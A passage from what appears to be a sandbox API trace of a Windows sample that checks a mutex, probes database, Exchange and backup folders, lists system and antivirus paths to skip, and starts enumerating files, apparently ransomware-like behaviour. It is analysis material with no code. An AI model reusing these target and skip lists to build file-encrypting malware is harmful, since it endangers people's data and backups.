GlobalUnlock (hMem=0x44000c) returned 0 [0056.600] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.600] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.600] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.600] GlobalUnlock (hMem=0x44000c) returned 0 [0056.600] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.600] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.600] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.600] GlobalUnlock (hMem=0x44000c) returned 0 [0056.600] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.600] GlobalUnlock (hMem=0x440004) returned 0 [0056.600] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.600] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US", len=0x41 | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned 1 [0056.600] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.601] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.601] GlobalUnlock (hMem=0x440004) returned 0 [0056.601] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.601] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.601] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.601] GlobalUnlock (hMem=0x440004) returned 0 [0056.601] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.601] GlobalUnlock (hMem=0x44000c) returned 0 [0056.601] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\") returned 26 [0056.601] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꐤRꏸR企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0056.601] GetLastError () returned 0x3 [0056.601] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.601] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.601] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0056.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="匬U䱠@ꍴR企@\x18㿬Q\x181")) returned 0xffffffff [0056.602] GetLastError () returned 0x2 [0056.602] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.602] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.602] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0056.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="匬U䱠@ꐼR企@\x18?T\x18;")) returned 0xffffffff [0056.602] GetLastError () returned 0x2 [0056.603] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.603] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.603] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0056.603] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="匬U䱠@ꍴR企@\x18?T\x18D")) returned 0xffffffff [0056.603] GetLastError () returned 0x2 [0056.603] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.603] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0056.603] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0056.603] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="匬U䱠@ꐼR企@\x18劔U\x18j")) returned 0xffffffff [0056.604] GetLastError () returned 0x2 [0056.604] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.604] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0056.604] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0056.604] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="匬U䱠@夬U企@\x18?T\x18q")) returned 0xffffffff [0056.604] GetLastError () returned 0x2 [0056.604] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.604] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\劐Up") returned 6 [0056.605] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0056.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="匬U䱠@塤U企@\x18?T\x18y")) returned 0xffffffff [0056.605] GetLastError () returned 0x2 [0056.605] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.605] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0056.605] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0056.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="匬U䱠@ꍴR企@\x18?T\x18\x81")) returned 0xffffffff [0056.605] GetLastError () returned 0x2 [0056.606] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.606] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0056.606] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0056.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="匬U䱠@夬U企@\x18?T\x18\x88")) returned 0xffffffff [0056.606] GetLastError () returned 0x2 [0056.606] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.606] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0056.606] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0056.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="匬U䱠@塤U企@\x18?T\x18\x8f")) returned 0xffffffff [0056.607] GetLastError () returned 0x2 [0056.607] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0056.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0056.607] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="匬U䱠@ꍴR企@\x18?T\x18\x97")) returned 0xffffffff [0056.607] GetLastError () returned 0x2 [0056.607] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0056.607] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.607] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.607] GlobalUnlock (hMem=0x44000c) returned 0 [0056.607] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.607] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.608] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.608] GlobalUnlock (hMem=0x44000c) returned 0 [0056.608] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.608] GlobalUnlock (hMem=0x440004) returned 0 [0056.608] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.608] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.608] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.608] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0056.608] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.608] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0056.608] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.608] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.608] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0056.609] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.609] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.609] GlobalUnlock (hMem=0x440004) returned 0 [0056.609] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.609] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.609] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.609] GlobalUnlock (hMem=0x440004) returned 0 [0056.609] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.609] GlobalUnlock (hMem=0x44000c) returned 0 [0056.609] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0056.609] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0056.609] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0056.609] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0056.610] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0056.610] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0056.610] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0056.610] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0056.610] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\") returned 0x42 [0056.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0056.611] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.611] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.611] GlobalUnlock (hMem=0x44000c) returned 0 [0056.611] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.611] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.611] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.611] GlobalUnlock (hMem=0x44000c) returned 0 [0056.611] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.611] GlobalUnlock (hMem=0x440004) returned 0 [0056.611] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0056.611] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, 